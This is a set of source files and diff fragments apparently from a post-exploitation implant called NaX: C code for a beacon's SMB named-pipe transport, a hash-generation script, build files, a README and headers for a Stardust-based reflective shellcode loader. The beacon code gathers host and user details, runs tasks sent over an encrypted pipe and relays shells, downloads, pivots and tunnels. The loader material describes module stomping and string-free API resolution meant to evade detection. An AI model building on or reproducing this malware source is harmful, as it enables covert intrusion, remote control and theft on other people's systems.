FUNC static BOOL SmbDoRegister( PNAX_INSTANCE Nax, PNAX_SYSINFO info, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
BYTE reg_body[NAX_REG_BODY_BUF]; UINT32 reg_body_len = NAX_REG_BODY_BUF;
if ( NaxBuildRegBody( info->Hostname, info->HnLen, info->Username, info->UnLen, NAX_ARCH_X64, info->Pid, Nax->Config.SleepMs, info->Tid, info->IpStr, info->IpLen, info->Domain, info->DmLen, info->Procname, info->PnLen, Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp, Nax->OemCp, Nax->ImgPath, info->ImLen, reg_body, &reg_body_len ) != NAX_OK ) {
NaxDbg( Nax, "NaxBuildRegBody failed" );
return FALSE;
}
UINT32 frame_len = frame_cap;
if ( NaxFrameEncode( NAX_WIRE_REGISTER, reg_body, reg_body_len, frame_buf, &frame_len ) != NAX_OK ) {
NaxDbg( Nax, "NaxFrameEncode REGISTER failed" );
return FALSE;
}
UINT32 env_len = env_cap;
if ( NaxEncrypt( Nax, frame_buf, frame_len, env_buf, &env_len ) != NAX_OK ) {
NaxDbg( Nax, "NaxEncrypt REGISTER failed" );
return FALSE;
}
UINT32 beatLen = 4 + NAX_SID_LEN - 1 + env_len;
PBYTE beatBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, beatLen );
if ( ! beatBuf ) {
NaxDbg( Nax, "heap alloc beat failed" );
return FALSE;
}
*(UINT32*)beatBuf = Nax->Config.ListenerWm;
MmCopy( beatBuf + 4, Nax->SessionId, NAX_SID_LEN - 1 );
MmCopy( beatBuf + 4 + NAX_SID_LEN - 1, env_buf, env_len );
BOOL beatOk = NaxPipeWrite( Nax, hPipe, hWriteEvent, beatBuf, beatLen );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
if ( ! beatOk ) {
NaxDbg( Nax, "NaxPipeWrite REGISTER failed" );
return FALSE;
}
NaxDbg( Nax, "REGISTER beat sent (%u bytes)", beatLen );
return TRUE;
}
FUNC static BOOL SmbSendHeartbeat( PNAX_INSTANCE Nax, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
UINT32 frame_len = frame_cap;
if ( NaxBuildHeartbeat( frame_buf, &frame_len ) != NAX_OK ) return TRUE;
UINT32 env_len = env_cap;
if ( NaxEncrypt( Nax, frame_buf, frame_len, env_buf, &env_len ) != NAX_OK ) return TRUE;
if ( ! NaxPipeWrite( Nax, hPipe, hWriteEvent, env_buf, env_len ) ) {
NaxDbg( Nax, "HEARTBEAT write failed" );
return FALSE;
}
NaxDbg( Nax, "HEARTBEAT sent" );
return TRUE;
}
FUNC static BOOL SmbHandleParentData( PNAX_INSTANCE Nax, BOOL rdOk, OVERLAPPED* ovRead, DWORD* nRead, UINT32 hdrBuf, HANDLE hPipe, HANDLE hReadEvent, HANDLE hWriteEvent, PBYTE io_buf, UINT32 io_cap, PBYTE plain_buf, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap );
FUNC static BOOL SmbDispatchTasks( PNAX_INSTANCE Nax, PBYTE plain_buf, UINT32 plain_len, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
PBYTE cursor = plain_buf;
UINT32 remaining = plain_len;
while ( remaining >= NAX_FRAME_HDR ) {
BYTE ft = 0; PBYTE fb = NULL; UINT32 fbl = 0;
if ( NaxFrameDecode( cursor, remaining, &ft, &fb, &fbl ) != NAX_OK ) break;
UINT32 step = NAX_FRAME_HDR + fbl;
if ( step > remaining ) break;
cursor += step;
remaining -= step;
if ( ft == NAX_WIRE_NO_TASKS ) break;
if ( ft != NAX_WIRE_TASK ) continue;
NAX_TASK task;
if ( NaxDecodeTask( fb, fbl, &task ) != NAX_OK ) {
NaxDbg( Nax, "[task] decode FAILED fbl=%u", fbl );
continue;
}
NaxDbg( Nax, "[task] cmd=0x%02x id=0x%08x argsLen=%u", task.CmdId, task.TaskId, task.ArgsLen );
UINT32 r_tid = 0;
BYTE r_stat = 0;
UINT32 r_len = result_cap;
if ( ! NaxDispatch( Nax, &task, &r_tid, &r_stat, result_buf, &r_len ) ) {
NaxDbg( Nax, "[task] cmd=0x%02x: no result (exit)", task.CmdId );
continue;
}
NaxDbg( Nax, "[task] cmd=0x%02x done: stat=0x%02x r_len=%u", task.CmdId, r_stat, r_len );
if ( ! SmbSendResult( Nax, r_tid, r_stat, result_buf, r_len, frame_buf, frame_cap, env_buf, env_cap, hPipe, hWriteEvent ) ) {
NaxDbg( Nax, "[task] result write failed" );
return FALSE;
}
NaxDbg( Nax, "[task] result sent" );
}
return TRUE;
}
FUNC static BOOL SmbHandleParentData( PNAX_INSTANCE Nax, BOOL rdOk, OVERLAPPED* ovRead, DWORD* nRead, UINT32 hdrBuf, HANDLE hPipe, HANDLE hReadEvent, HANDLE hWriteEvent, PBYTE io_buf, UINT32 io_cap, PBYTE plain_buf, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap ) {
if ( ! rdOk && ! Nax->Kernel32.GetOverlappedResult( hPipe, ovRead, nRead, TRUE ) ) {
NaxDbg( Nax, "GetOverlappedResult header failed" );
return FALSE;
}
UINT32 msgLen = hdrBuf;
if ( msgLen == 0 || msgLen > io_cap ) {
NaxDbg( Nax, "invalid msg len: %u", msgLen );
return FALSE;
}
if ( ! NaxPipeRead( Nax, hPipe, hReadEvent, io_buf, msgLen ) ) {
NaxDbg( Nax, "NaxPipeRead body failed" );
return FALSE;
}
UINT32 plain_len = io_cap;
if ( NaxDecrypt( Nax, io_buf, msgLen, plain_buf, &plain_len ) != NAX_OK ) {
NaxDbg( Nax, "NaxDecrypt failed" );
return TRUE;
}
return SmbDispatchTasks( Nax, plain_buf, plain_len, result_buf, result_cap, frame_buf, frame_cap, env_buf, env_cap, hPipe, hWriteEvent );
}
/* ========= [ NaxSmbMain - child beacon pipe transport ] ========= */
FUNC VOID NaxSmbMain( PNAX_INSTANCE Nax ) {
/* ---- build pipe path: \\.\pipe\<pipename> ---- */
CHAR pipePrefix[] = { '\\', '\\', '.', '\\', 'p', 'i', 'p', 'e', '\\', '\0' };
CHAR pipePath[256];
MmZero( pipePath, 256 );
UINT32 pfx_len = 0;
while ( pipePrefix[pfx_len] ) pfx_len++;
UINT32 name_len = 0;
while ( Nax->Config.C2Url[name_len] ) name_len++;
if ( pfx_len + name_len >= 256 ) return;
MmCopy( pipePath, pipePrefix, pfx_len );
MmCopy( pipePath + pfx_len, Nax->Config.C2Url, name_len );
pipePath[pfx_len + name_len] = '\0';
NaxDbg( Nax, "SMB pipe: %s", pipePath );
/* ---- build permissive DACL ---- */
SECURITY_DESCRIPTOR sd;
PACL pAcl = NULL;
SECURITY_ATTRIBUTES sa;
MmZero( &sd, sizeof( sd ) );
MmZero( &sa, sizeof( sa ) );
if ( ! SmbBuildPermissiveDacl( Nax, &sd, &pAcl ) ) {
NaxDbg( Nax, "DACL build failed" );
return;
}
sa.nLength = sizeof( SECURITY_ATTRIBUTES );
sa.lpSecurityDescriptor = &sd;
sa.bInheritHandle = FALSE;
/* ---- create named pipe ---- */
HANDLE hPipe = Nax->Kernel32.CreateNamedPipeA(
pipePath,
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1,
NAX_PIPE_BUF_SIZE,
NAX_PIPE_BUF_SIZE,
0,
&sa
);
if ( hPipe == INVALID_HANDLE_VALUE ) {
NaxDbg( Nax, "CreateNamedPipeA failed: %u", Nax->Kernel32.GetLastError() );
if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl );
return;
}
/* ---- create events ---- */
HANDLE hConnEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
HANDLE hReadEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
HANDLE hWriteEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
if ( ! hConnEvent || ! hReadEvent || ! hWriteEvent ) {
NaxDbg( Nax, "CreateEventA failed" );
Nax->Kernel32.CloseHandle( hPipe );
if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl );
return;
}
/* ---- heap-allocate I/O buffers ---- */
UINT32 IO_CAP = NAX_IO_CAP;
UINT32 RESULT_CAP = NAX_IO_CAP;
UINT32 FRAME_CAP = RESULT_CAP + 256;
PBYTE io_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP );
PBYTE plain_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP );
PBYTE result_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, RESULT_CAP );
PBYTE frame_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP );
PBYTE env_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP );
if ( ! io_buf || ! plain_buf || ! result_buf || ! frame_buf || ! env_buf ) {
NaxDbg( Nax, "heap alloc failed" );
Nax->Kernel32.CloseHandle( hPipe );
if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl );
return;
}
/* ---- session id ---- */
BYTE raw[8];
Nax->Bcrypt.BCryptGenRandom( NULL, raw, 8, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
NaxHexEncode( raw, 8, Nax->SessionId );
NaxDbg( Nax, "session: %s", Nax->SessionId );
/* ======== outer loop - accept connections ======== */
for ( ;; ) {
NaxDbg( Nax, "waiting for parent connection..." );
OVERLAPPED ovConn;
MmZero( &ovConn, sizeof( ovConn ) );
ovConn.hEvent = hConnEvent;
Nax->Kernel32.ResetEvent( hConnEvent );
BOOL connOk = Nax->Kernel32.ConnectNamedPipe( hPipe, &ovConn );
if ( ! connOk ) {
DWORD err = Nax->Kernel32.GetLastError();
if ( err == ERROR_IO_PENDING ) {
DWORD wr = Nax->Kernel32.WaitForSingleObject( hConnEvent, INFINITE );
if ( wr != WAIT_OBJECT_0 ) {
Nax->Kernel32.CancelIo( hPipe );
continue;
}
} else if ( err != ERROR_PIPE_CONNECTED ) {
NaxDbg( Nax, "ConnectNamedPipe failed: %u", err );
Nax->Kernel32.Sleep( Nax->Config.SleepMs );
continue;
}
}
NaxDbg( Nax, "parent connected" );
/* gather fresh sysinfo per connection */
NAX_SYSINFO info;
NaxGatherSysInfo( Nax, &info );
/* register with parent */
if ( ! SmbDoRegister( Nax, &info, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent ) ) {
Nax->Kernel32.FlushFileBuffers( hPipe );
Nax->Kernel32.DisconnectNamedPipe( hPipe );
NaxDbg( Nax, "parent disconnected (register failed), re-entering accept loop" );
continue;
}
/* ======== inner loop - task processing ======== */
BOOL pipe_ok = TRUE;
BOOL justSentOutput = FALSE;
UINT32 pivotPollCount = 0;
UINT64 lastActivityTick = 0;
while ( pipe_ok ) {
UINT32 hdrBuf = 0;
OVERLAPPED ovRead;
MmZero( &ovRead, sizeof( ovRead ) );
ovRead.hEvent = hReadEvent;
Nax->Kernel32.ResetEvent( hReadEvent );
DWORD nRead = 0;
BOOL rdOk = Nax->Kernel32.ReadFile( hPipe, &hdrBuf, 4, &nRead, &ovRead );
if ( ! rdOk && Nax->Kernel32.GetLastError() != ERROR_IO_PENDING ) {
NaxDbg( Nax, "ReadFile header failed: %u", Nax->Kernel32.GetLastError() );
pipe_ok = FALSE;
break;
}
/* arm pivot child reads */
NAX_PIVOT* _pv = Nax->PivotHead;
while ( _pv ) {
NaxPostPivotHeaderRead( Nax, _pv );
_pv = _pv->Next;
}
BOOL hasOutput = justSentOutput
|| ( Nax->DownloadHead != NULL )
|| ( Nax->JobHead != NULL )
|| ( Nax->ShellHead != NULL );
justSentOutput = FALSE;
HANDLE waitHandles[64];
DWORD handleCount = 0;
waitHandles[handleCount++] = hReadEvent;
_pv = Nax->PivotHead;
while ( _pv && handleCount < 64 ) {
if ( _pv->Async->RdPending )
waitHandles[handleCount++] = _pv->Async->OvRead.hEvent;
_pv = _pv->Next;
}
if ( Nax->JobWakeEvent && handleCount < 64 )
waitHandles[handleCount++] = Nax->JobWakeEvent;
if ( Nax->TunnelEvent && handleCount < 64 )
waitHandles[handleCount++] = Nax->TunnelEvent;
UINT32 sleepMs = NaxEffectiveSleep( Nax );
BOOL idleWait = FALSE;
DWORD wfmo_timeout;
if ( hasOutput ) {
wfmo_timeout = 0;
} else if ( pivotPollCount > 0 ) {
wfmo_timeout = 100;
pivotPollCount--;
} else if ( SmbTunnelActive( Nax ) ) {
wfmo_timeout = 100;
idleWait = TRUE;
} else if ( lastActivityTick && ( Nax->Kernel32.GetTickCount64() - lastActivityTick ) < 5000 ) {
wfmo_timeout = 100;
} else {
wfmo_timeout = sleepMs ? sleepMs : INFINITE;
idleWait = TRUE;
}
DWORD wait = Nax->Kernel32.WaitForMultipleObjects( handleCount, waitHandles, FALSE, wfmo_timeout );
if ( wait == WAIT_OBJECT_0 ) {
pipe_ok = SmbHandleParentData( Nax, rdOk, &ovRead, &nRead, hdrBuf, hPipe, hReadEvent, hWriteEvent, io_buf, IO_CAP, plain_buf, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP );
} else if ( wait == WAIT_TIMEOUT || ( wait > WAIT_OBJECT_0 && wait < WAIT_OBJECT_0 + handleCount ) ) {
Nax->Kernel32.CancelIo( hPipe );
DWORD nHdr = 0;
if ( Nax->Kernel32.GetOverlappedResult( hPipe, &ovRead, &nHdr, TRUE ) && nHdr == 4 && hdrBuf > 0 )
pipe_ok = SmbHandleParentData( Nax, TRUE, &ovRead, &nHdr, hdrBuf, hPipe, hReadEvent, hWriteEvent, io_buf, IO_CAP, plain_buf, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP );
else if ( wait == WAIT_TIMEOUT && idleWait )
pipe_ok = SmbSendHeartbeat( Nax, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent );
} else {
NaxDbg( Nax, "WaitForMultipleObjects unexpected: %u", wait );
pipe_ok = FALSE;
}
if ( ! pipe_ok ) break;
/* Snapshot DataSent BEFORE SmbRelayPivots → NaxProcessPivots
* clears it. Without this, CmdPivotExec's flag is consumed
* inside NaxProcessPivots and the fast-poll path never fires,
* causing a full sleepMs delay before child results are read. */
BOOL anyPivotDataSent = FALSE;
_pv = Nax->PivotHead;
while ( _pv ) {
if ( _pv->Async->DataSent )
anyPivotDataSent = TRUE;
_pv = _pv->Next;
}
BOOL dataRelayed = FALSE;
if ( Nax->PivotHead )
pipe_ok = SmbRelayPivots( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent, &dataRelayed );
if ( pipe_ok && Nax->DownloadHead )
pipe_ok = SmbRelayDownloads( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent );
if ( pipe_ok && Nax->JobHead )
pipe_ok = SmbRelayJobs( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent );
if ( pipe_ok && Nax->ShellHead )
pipe_ok = SmbRelayShells( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent );
BOOL tunnelRelayed = FALSE;
if ( pipe_ok && Nax->TunnelHead ) {
pipe_ok = SmbRelayTunnels( Nax, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent, &tunnelRelayed );
if ( Nax->TunnelEvent && Nax->Ws2.WSAResetEvent )
Nax->Ws2.WSAResetEvent( Nax->TunnelEvent );
}
if ( anyPivotDataSent || dataRelayed || tunnelRelayed )
justSentOutput = TRUE;
if ( justSentOutput ) {
pivotPollCount = 5;
lastActivityTick = Nax->Kernel32.GetTickCount64();
}
}
Nax->Kernel32.FlushFileBuffers( hPipe );
Nax->Kernel32.DisconnectNamedPipe( hPipe );
NaxDbg( Nax, "parent disconnected, re-entering accept loop" );
}
}
/* ========= [ NaxSmbPost stub - satisfies linker for HTTP builds ] ========= */
FUNC INT NaxSmbPost( PNAX_INSTANCE Nax, const PWCHAR pipe_path, const PCHAR sid,
const PBYTE body, UINT32 body_len,
PBYTE resp_buf, UINT32* resp_len ) {
return NAX_ERR_INVAL;
}
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/env python3
"""FNV1a-32 hash for NaX beacon API/module names - matches NaxHashStr in Ldr.c."""
import sys
def fnv1a32(s: str) -> int:
h = 0x811C9DC5
for c in s.upper():
h ^= ord(c)
h = (h * 0x01000193) & 0xFFFFFFFF
return h
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} Name [Name ...]", file=sys.stderr)
sys.exit(1)
for name in sys.argv[1:]:
key = name.upper().replace(".", "_").replace("-", "_")
print(f"#define H_{key:<36} 0x{fnv1a32(name):08X}u /* {name} */")
+21
View File
@@ -0,0 +1,21 @@
cmake_minimum_required( VERSION 3.27 )
project( Stardust )
set( CMAKE_CXX_STANDARD 11 )
set( CMAKE_CXX_COMPILER x86_64-w64-mingw32-g++ )
set( CMAKE_CXX_FLAGS ${COMPILE_FLAGS} )
set( CMAKE_C_STANDARD 11 )
set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc )
set( CMAKE_C_FLAGS ${COMPILE_FLAGS} )
include_directories( include )
set( STARDUST-SRC
src/PreMain.c
src/Main.c
src/Ldr.c
src/Utils.c
)
add_executable( Stardust ${STARDUST-SRC} )
+98
View File
@@ -0,0 +1,98 @@
# NaX src_loader/makefile - build Stardust-style UDRL → bin/nax_loader.x64.bin
#
# Source layout:
# asm/x64/Stardust.asm - Start / StRipStart / StRipEnd (entry + end marker)
# src/PreMain.c - Stardust instance init, ntdll resolution, calls Main
# src/Main.c - NAX UDRL: finds beacon, allocs RW, copies, RX, calls
# src/Ldr.c - PEB-walk module + export resolver (LdrModulePeb / LdrFunction)
# src/Utils.c - HashString (djb2-style, used by Ldr / HASH_STR)
# include/ - Common.h, Macros.h, Defs.h, Constexpr.h, Native.h, ...
#
# Build pipeline:
# NASM → bin/obj/asm_Stardust.x64.o
# g++ → bin/obj/nax_XXXX.x64.o (compiled as C++ for constexpr / extern "C")
# g++ → bin/nax_loader.x64.exe (linked with scripts/Linker.ld via -Wl,-T)
# objcopy --dump-section .text → bin/nax_loader.x64.bin
#
# The final .bin is the raw shellcode blob: loader bytes followed immediately
# by the appended beacon (combine.sh handles the concatenation).
#
# Requirements:
# x86_64-w64-mingw32-g++
# nasm
# objcopy (binutils)
MAKEFLAGS += -s
##
## Toolchain
##
CC_X64 := x86_64-w64-mingw32-g++
NASM := nasm
OBJCOPY := objcopy
##
## Technique selection (overridable from parent Makefile)
##
NAX_STOMP_MODE ?= 1
NAX_EXEC_MODE ?= 1
##
## Compiler / linker flags (Stardust original flags preserved)
##
CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib
CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1
CFLAGS += -s -ffunction-sections -falign-jumps=1 -w
CFLAGS += -falign-labels=1 -fPIC
CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup
CFLAGS += -Iinclude -masm=intel -fpermissive
CFLAGS += -mno-sse -fno-exceptions -fno-builtin
CFLAGS += -MMD -MP
CFLAGS += -DNAX_STOMP_MODE=$(NAX_STOMP_MODE)
CFLAGS += -DNAX_EXEC_MODE=$(NAX_EXEC_MODE)
##
## Sources / objects
##
C_SRCS := src/PreMain.c src/Main.c src/Pe.c src/Stomp.c src/Exec.c src/Ldr.c src/Utils.c
C_OBJS := $(patsubst src/%.c, bin/obj/nax_%.x64.o, $(C_SRCS))
ASM_OBJ := bin/obj/asm_Stardust.x64.o
EXE_X64 := bin/nax_loader.x64.exe
BIN_X64 := bin/nax_loader.x64.bin
##
## Targets
##
.PHONY: all clean
all: $(BIN_X64)
$(BIN_X64): $(EXE_X64)
$(OBJCOPY) --dump-section .text=$(BIN_X64) $(EXE_X64) 2>/dev/null; true
@touch $(BIN_X64)
@echo " BIN $(BIN_X64) ($$(wc -c < $(BIN_X64)) bytes)"
$(EXE_X64): $(ASM_OBJ) $(C_OBJS)
@echo "[+] link NAX loader x64"
$(CC_X64) $(ASM_OBJ) $(C_OBJS) -o $(EXE_X64) \
$(CFLAGS) -Wl,-Tscripts/Linker.ld 2>&1 || true
bin/obj/nax_%.x64.o: src/%.c | bin/obj
@echo "[*] compile $<"
$(CC_X64) -c $< -o $@ $(CFLAGS)
$(ASM_OBJ): asm/x64/Stardust.asm | bin/obj
@echo "[*] assemble $<"
$(NASM) -f win64 $< -o $@
bin/obj:
mkdir -p bin/obj
# gcc auto-dependency files (-MMD -MP)
C_DEPS := $(C_OBJS:.o=.d)
-include $(C_DEPS)
clean:
rm -rf bin/obj/*.o bin/obj/*.d bin/obj/*.obj bin/*.exe bin/*.bin
+77
View File
@@ -0,0 +1,77 @@
# NaX UDRL Loader
Position-independent User Defined Reflective Loader for the NaX beacon, based on the [Stardust](https://github.com/Cracked5pider/Stardust) template by Paul Ungur.
## What It Does
The loader is the first code that runs when the shellcode is injected. It:
1. Resolves its own base address and size (Stardust RIP-relative technique)
2. Walks the PEB to find `ntdll.dll` and `kernel32.dll` by FNV1a hash
3. Resolves `RtlAllocateHeap` and TLS APIs via export table walk + compile-time hashes
4. Finds two consecutive TLS slots (egghunter) to store a global INSTANCE pointer
5. Parses the NaxHeader v2 (160-byte structure between loader and beacon) to extract beacon size, .pdata/.xdata offsets, stomp flags, and sacrificial DLL name
6. Places the beacon into executable memory (virtual allocation or module stomping)
7. Transfers execution to the beacon entry point (thread pool or CreateThread)
## Techniques
Technique selection is compile-time via preprocessor defines:
| Define | Value | Technique |
|--------|-------|-----------|
| `NAX_STOMP_MODE` | `NAX_STOMP_VIRTUAL` (0) | `NtAllocateVirtualMemory` -- private RWX allocation |
| `NAX_STOMP_MODE` | `NAX_STOMP_MODULE` (1) | Module stomp -- load sacrificial DLL, overwrite its `.text` section |
| `NAX_EXEC_MODE` | `NAX_EXEC_THREAD` (0) | `CreateThread` -- start address = beacon entry |
| `NAX_EXEC_MODE` | `NAX_EXEC_THREADPOOL` (1) | `TpAllocWork` + `TpPostWork` -- start address = `TppWorkerThread` |
### Module Stomping
When `NAX_STOMP_MODE == NAX_STOMP_MODULE`:
- Loads a sacrificial DLL with `LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES)` (no DllMain execution)
- Writes the beacon into the DLL's `.text` section so it appears as image-backed memory (MEM_IMAGE)
- Patches the LDR entry with flags: `ImageDll | LoadNotificationsSent | ProcessStaticImport | EntryProcessed`
- Stomps valid `.pdata` (RUNTIME_FUNCTION) and `.xdata` (UNWIND_INFO) into the DLL for clean stack walks
## Hashing
All API and module resolution uses FNV1a-32:
- **Seed:** `0x811c9dc5` (`H_MAGIC_KEY`)
- **Prime:** `0x01000193` (`H_MAGIC_PRIME`)
- **Algorithm:** `Hash ^= Char; Hash *= Prime;` (XOR then multiply)
- **Case-insensitive:** uppercased before hashing
Compile-time hashing via `HASH_STR()` (constexpr in C++ mode) ensures no API name strings appear in the shellcode.
## Source Files
```
src/
Entry.asm # NASM entry point, calls PreMain
PreMain.c # Stardust bootstrap: RIP calc, PEB walk, TLS egghunter
Main.c # API resolution, NaxHeader parsing, stomp/exec dispatch
Ldr.c # LdrModulePeb (PEB walk), LdrFunction (export walk + forwarding)
Pe.c # PE header helpers: NaxPeHeaders, NaxFindSection, NaxFindSectionByDir
Stomp.c # Module stomping: NaxModuleStomp, NaxPatchLdr
Exec.c # Execution transfer: NaxExecThreadPool, NaxExecThread
Utils.c # HashString (FNV1a, case-insensitive)
include/
Common.h # Base types, PEB structures, compiler macros
Constexpr.h # HASH_STR / ExprHashStringA (compile-time FNV1a)
Defs.h # Pre-computed module/API hashes, NaxHeader layout
Loader.h # Function prototypes for Stomp/Exec/Pe
Macros.h # FUNC, STARDUST_INSTANCE, MmCopy, MmZero
Native.h # NT structures (PEB, LDR, TEB, IMAGE_*)
Utils.h # HashString prototype
Ldr.h # LdrModulePeb, LdrFunction prototypes
scripts/
Linker.ld # Linker script for section ordering
loader.c # Dev launcher: load shellcode into RWX, execute
stomper.c # Dev launcher: load nax.bin, RX, CreateThread
```
## Build
The loader is built as part of the top-level `make` from the repository root. It is compiled as C++ (`x86_64-w64-mingw32-g++`) to enable constexpr hash evaluation, then linked with a custom linker script and extracted as raw `.text` via `objcopy`.
+48
View File
@@ -0,0 +1,48 @@
;; NaX src_loader - entry stubs
;;
;; Sections:
;; .text$A - Start / StRipStart
;; .text$E - StRipEnd (MUST be last section)
[BITS 64]
DEFAULT REL
EXTERN PreMain
GLOBAL Start
GLOBAL StRipStart
GLOBAL StRipEnd
;; ========= [ .text$A - entry stubs ] =========
[SECTION .text$A]
Start:
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
sub rsp, 020h
call PreMain
mov rsp, rsi
pop rsi
ret
StRipStart:
lea rax, [Start]
ret
;; ========= [ .text$E - end marker ] =========
[SECTION .text$E]
StRipEnd:
lea rax, [.loader_end] ; 7 bytes
ret ; 1 byte
nop ; 8 bytes of padding to fill 16-byte section
nop
nop
nop
nop
nop
nop
nop
.loader_end:
+94
View File
@@ -0,0 +1,94 @@
#ifndef STARDUST_COMMON_H
#define STARDUST_COMMON_H
//
// system headers
//
#include <windows.h>
//
// stardust headers
//
#include <Native.h>
#include <Macros.h>
#include <Ldr.h>
#include <Defs.h>
#include <Utils.h>
//
// NAX UDRL instance pointer - stored in TLS via consecutive-slot egghunter
// (no .global section, no NtProtectVirtualMemory on own pages).
//
typedef struct _INSTANCE {
//
// Base address (StRipStart) and total size of the loader blob.
// beacon_src = Base.Buffer + Base.Length
//
BUFFER Base;
struct {
//
// ntdll.dll - resolved in PreMain (PEB already has ntdll loaded)
//
D_API( RtlAllocateHeap ) /* heap alloc for INSTANCE itself */
D_API( NtProtectVirtualMemory ) /* preserved for future direct-syscall use */
D_API( VirtualProtect ) /* Win32 wrapper - avoids indirect syscall detection */
//
// kernel32.dll - resolved in PreMain for TLS globals
//
D_API( TlsAlloc )
D_API( TlsSetValue )
D_API( TlsFree )
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
D_API( NtAllocateVirtualMemory ) /* exec buffer alloc (VirtualAlloc) */
#endif
#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
D_API( TpAllocWork ) /* schedule beacon on thread pool */
D_API( TpPostWork ) /* submit work item to pool */
D_API( TpReleaseWork ) /* release work object after exec */
#endif
//
// kernel32.dll - resolved in Main via PEB walk
//
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
D_API( LoadLibraryExW ) /* load sacrificial DLL for stomping */
#endif
#if NAX_EXEC_MODE == NAX_EXEC_THREAD
D_API( CreateThread ) /* spawn beacon on clean stack */
#endif
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
D_API( GetProcessMitigationPolicy )
BOOL ( __stdcall *SetProcessValidCallTargets )( HANDLE, PVOID, SIZE_T, ULONG, PVOID );
#endif
} Win32;
struct {
PVOID Ntdll;
PVOID Kernel32;
PVOID Kernelbase;
} Modules;
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
PVOID StompDllBase;
#endif
} INSTANCE, *PINSTANCE;
EXTERN_C PVOID StRipStart();
EXTERN_C PVOID StRipEnd();
VOID Main(
_In_ PVOID Param
);
#endif //STARDUST_COMMON_H
+32
View File
@@ -0,0 +1,32 @@
#ifndef STARDUST_CONSTEXPR_H
#define STARDUST_CONSTEXPR_H
#include <Common.h>
#define HASH_STR( x ) ExprHashStringA( ( x ) )
CONSTEXPR ULONG ExprHashStringA(
_In_ PCHAR String
) {
ULONG Hash = { 0 };
CHAR Char = { 0 };
Hash = H_MAGIC_KEY;
if ( ! String ) {
return 0;
}
while ( ( Char = *String++ ) ) {
if ( Char >= 'a' ) {
Char -= 0x20;
}
Hash ^= (UCHAR)Char;
Hash *= H_MAGIC_PRIME;
}
return Hash;
}
#endif //STARDUST_CONSTEXPR_H
+88
View File
@@ -0,0 +1,88 @@
#ifndef STARDUST_DEFS_H
#define STARDUST_DEFS_H
#include <Common.h>
typedef struct _BUFFER {
PVOID Buffer;
ULONG Length;
} BUFFER, *PBUFFER;
//
// Hashing defines
//
#define H_MAGIC_KEY 0x811c9dc5
#define H_MAGIC_PRIME 0x01000193
#define H_MODULE_NTDLL 0x318a7963
#define H_MODULE_KERNEL32 0x04a1a06a
//
// NaxHeader v2 - placed between loader and beacon in nax.bin
//
// Layout: [loader][NaxHeader][beacon][pdata][xdata]
// ^ ^ ^ ^
// StRipStart() +HDR_SZ +beacon +pdata
//
#define NAX_HDR_MAGIC 0x4E415832 /* "NAX2" */
#define NAX_HDR_SIZE 160 /* fixed header size (bytes) */
#define NAX_HDR_DLL_MAX 64 /* max WCHAR chars for DLL name */
#define NAX_FLAG_MODULE_STOMP 0x0001 /* use module stomping instead of VirtualAlloc */
#define NAX_FLAG_STOMP_PDATA 0x0002 /* stomp .pdata with unwind data */
//
// On-disk header (no struct due to PIC - accessed via pointer arithmetic).
//
